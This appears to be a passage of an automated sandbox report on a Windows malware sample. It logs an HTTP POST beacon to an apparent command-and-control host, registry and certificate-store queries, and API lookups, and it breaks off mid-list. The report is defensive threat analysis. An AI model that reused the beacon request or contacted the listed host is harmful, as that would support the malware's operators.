application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=6858&key=f03334b95bf696bef1872fe5c3c7d0b9 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com"2c:T4fa,".exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006900) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006900)2d:T47e,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")2e:T5ca,Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")2f:T944,Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")30:T47e,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")31:Tb7e,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")32:T748,".exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")33:Ta67,".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")34:T533,".exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")35:T67f,".exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter msvcrt (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter wininet (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006900) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006900)36:T58bc,".exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter lstrcmpiA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter OutputDebugStringA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LockFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFullPathNameA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter UnlockFileEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapValidate (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WaitForSingleObjectEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapCompact (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter HeapDestroy (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter UnlockFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LockFileEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SystemTimeToFileTime (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FormatMessageA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FlushFileBuffers (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter Module32FirstW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LoadResource (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LockResource (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 